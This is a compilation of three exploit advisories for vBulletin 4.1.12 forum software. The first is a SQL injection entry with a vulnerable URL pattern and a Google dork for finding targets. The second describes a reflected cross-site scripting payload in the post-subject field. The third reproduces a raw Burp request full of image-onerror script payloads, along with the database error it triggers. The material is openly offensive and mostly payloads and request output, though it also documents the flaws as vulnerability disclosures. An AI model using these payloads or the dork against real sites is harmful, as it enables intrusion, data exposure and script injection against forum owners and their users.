vbulletin 4.1.12

vBulletin 4.1.12 SQL Injection

################################################################################??########

#

# Exploit Title : Vbulletin (blog_plugin_useradmin) v4.1.12 Sql Injection Vulnerability

#

# Author        : IrIsT.Ir

#

# Discovered By : Am!r

#

# Home          : http://IrIsT.Ir/forum

#

# Software Link : http://www.Vbulletin.com/

#

# Security Risk : High

#

# Version       : All Version

#

# Tested on     : GNU/Linux Ubuntu - Windows Server - win7

#

# Dork          : intext:"Powered By Vbulletin 4.1.12"

#

################################################################################??########

#

#  Expl0iTs :

#

#  http://target.com/includes/blog_plugin_useradmin.php?do=usercss&u=[Sql]

#

################################################################################??########

#

# Greats : B3HZ4D - nimaarek - Dead.Zone - C0dex - SpooferNinja - TaK.FaNaR - Nafsh - BestC0d3r

#

# 0x0ptim0us - TaK.FaNaR - m3hdi - F@rid - Siamak.Black - H4x0r - dr.tofan - skote_vahshat - d3c0d3r

#

# Mr.Xpr & M.R.S.CO & Mr.Cicili & H-SK33PY & All Members In Www.IrIsT.Ir/forum

#

################################################################################??########

XSS 

[ TITLE ....... ][ vBulletin 4.1.12 Reflected XSS (try csrf*) for registered users

[ DATE ........ ][ 24.04.2012

[ AUTOHR ...... ][ http://hauntit.blogspot.com

[ SOFT LINK ... ][ http://www.vbulletin.com

[ VERSION ..... ][ 4.1.12

[ TESTED ON ... ][ LAMP

[ ----------------------------------------------------------------------- [

[ 1. What is this?

[ 2. What is the type of vulnerability?

[ 3. Where is bug :)

[ 4. More...

[--------------------------------------------[

[ 1. What is this?

This is very nice CMS, You should try it! ;)

[--------------------------------------------[

[ 2. What is the type of vulnerability?

Reflected cross-site scripting.

(* ..., because I think this could be extended to attack

with 'non-visible button'. ;))

[--------------------------------------------[

[ 3. Where is bug :)

When You are logged-in as a normal user, You can add post to forum.

You can add title (parameter "subject") of Your post only with 85 characters.

And that's the trick, because error displayed to user (if 'subject' is > 85 chars)

can contain XSS code.

Try to add Ax85+"><xss><

Screens from attack You can see at my blog.

[--------------------------------------------[

[ 4. More...

- http://hauntit.blogspot.com

- http://www.vbulletin.com

- http://www.google.com

- http://portswigger.net

[

[--------------------------------------------[

[ Questions? Mail me.

[

[ Cheers o/

vBulletin 4.1.12 SQL Information Disclosure 

[ TITLE ....... ][ vBulletin 4.1.12 - sql information leak (for logged-in users)

[ DATE ........ ][ 03.05.2012

[ AUTOHR ...... ][ http://hauntit.blogspot.com

[ SOFT LINK ... ][ http://www.vbulletin.com

[ VERSION ..... ][ 4.1.12

[ TESTED ON ... ][ LAMP

[ ----------------------------------------------------------------------- [

[ 1. What is this?

[ 2. What is the type of vulnerability?

[ 3. Where is bug :)

[ 4. More...

[--------------------------------------------[

[ 1. What is this?

This is very nice CMS, You should try it! ;)

[--------------------------------------------[

[ 2. What is the type of vulnerability?

[--------------------------------------------[

[ 3. Where is bug :)

--- raw from burp ---

---raw-from-Burp---

POST /www/22o4/highz/las/blog.php?b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml] HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:12.0) Gecko/20100101 Firefox/12.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip, deflate

Proxy-Connection: keep-alive

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded; charset=UTF-8

Referer: http://localhost/www/22o4/highz/las/entry.php?2-html-quot-gt-lt-img-src-xxx-onerror-alert(9999)-gt-html

Cookie: skimlinks_enabled=1; vbulletin_userlist_hide_avatars_buddylist=0; editor_height=cms_article%23207px; bb_lastvisit=1335789702; bb_lastactivity=0; bb_sessionhash=bcf4631bc0ea002087ded92c796ac79a; bb_userstyleid=1; bb_skipmobilestyle=0; bb_thread_lastview=7aeffb9e62242afd6746ab9c8bcb589269ddf416a-1-%7Bi-121_i-1335789759_%7D; bb_forum_view=0ca42d3e5b599ba0a771e794d5098040cf6497cba-3-%7Bi-3_i-1335862432_i-2_i-1336034464_i-1_i-1336034445_%7D; bb_calendar=e2e67b4d0ec6ed855d66d62b21910a6cf6af50d6a-3-%7Bs-7-.calyear._i-2012_s-8-.calmonth._i-5_s-8-.calview1._s-12-.displaymonth._%7D; bb_blog_lastview=47cf4ac63a62d3c29c6a536323fa891bc5b8cd46a-1-%7Bi-2_i-1336037033_%7D

Pragma: no-cache

Cache-Control: no-cache

Content-Length: 630

Connection: close

ajax=1&s=&securitytoken=1336037033-b3ba5f3786a6e5e260d2c6ccde476dd5bde7dc4d&vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&s=&securitytoken=1336037033-b3ba5f3786a6e5e260d2c6ccde476dd5bde7dc4d&do=rate&b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&

---and-HTTP-answer---

HTTP/1.1 200 OK

Date: Thu, 03 May 2012 09:26:51 GMT

Server: Apache/2.2.17 (Ubuntu)

X-Powered-By: PHP/5.3.5-1ubuntu7.7

Vary: Accept-Encoding

Connection: close

Content-Type: text/xml; charset=windows-1252

X-Pad: avoid browser bug

Content-Length: 1650

<?xml version="1.0" encoding="windows-1252"?>

<errors>

  <error><![CDATA[<p>Database Error</p>]]></error>

  <error_html><![CDATA[<p>Database error in vBulletin 4.1.12 Beta 1</p>

<p>Invalid SQL:

    REPLACE INTO blog_visitor

      (userid, visitorid, dateline, day, visible)

    VALUES

      (

        ,

        2,

        1336037212,

        1335909600,

        1

      );<p>

<p>

<strong>MySQL Error</strong>   : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '

        2,

        1336037212,

        1335909600,

        1

      )' at line 5<br />

<strong>Error Number</strong>  : 1064<br />

<strong>Request Date</strong>  : Thursday, May 3rd 2012 @ 11:26:52 AM<br />

<strong>Error Date</strong>    : Thursday, May 3rd 2012 @ 11:26:56 AM<br />

<strong>Script</strong>        : http://localhost/www/22o4/highz/las/blog.php?b=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]&amp;vote=[%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml][%2fhtml][html]"%3e%3cimg%20src%3dx%20onerror%3d(1231234444444)%3b%3e[%2fhtml]<br />

<strong>Referrer</strong>      : http://localhost/www/22o4/highz/las/entry.php?2-html-quot-gt-lt-img-src-xxx-onerror-alert(9999)-gt-html<br />

<strong>Classname</strong>     : vB_Database<br />

<strong>MySQL Version</strong> : <br />

</p>]]></error_html>

</errors>

---raw-from-Burp---

---

Enjoy ;)

[--------------------------------------------[

[ 4. More...

- http://hauntit.blogspot.com

- http://www.google.com

- http://portswigger.net

[

[--------------------------------------------[

[ Questions? Mail me.

]

[ Cheers! o/

[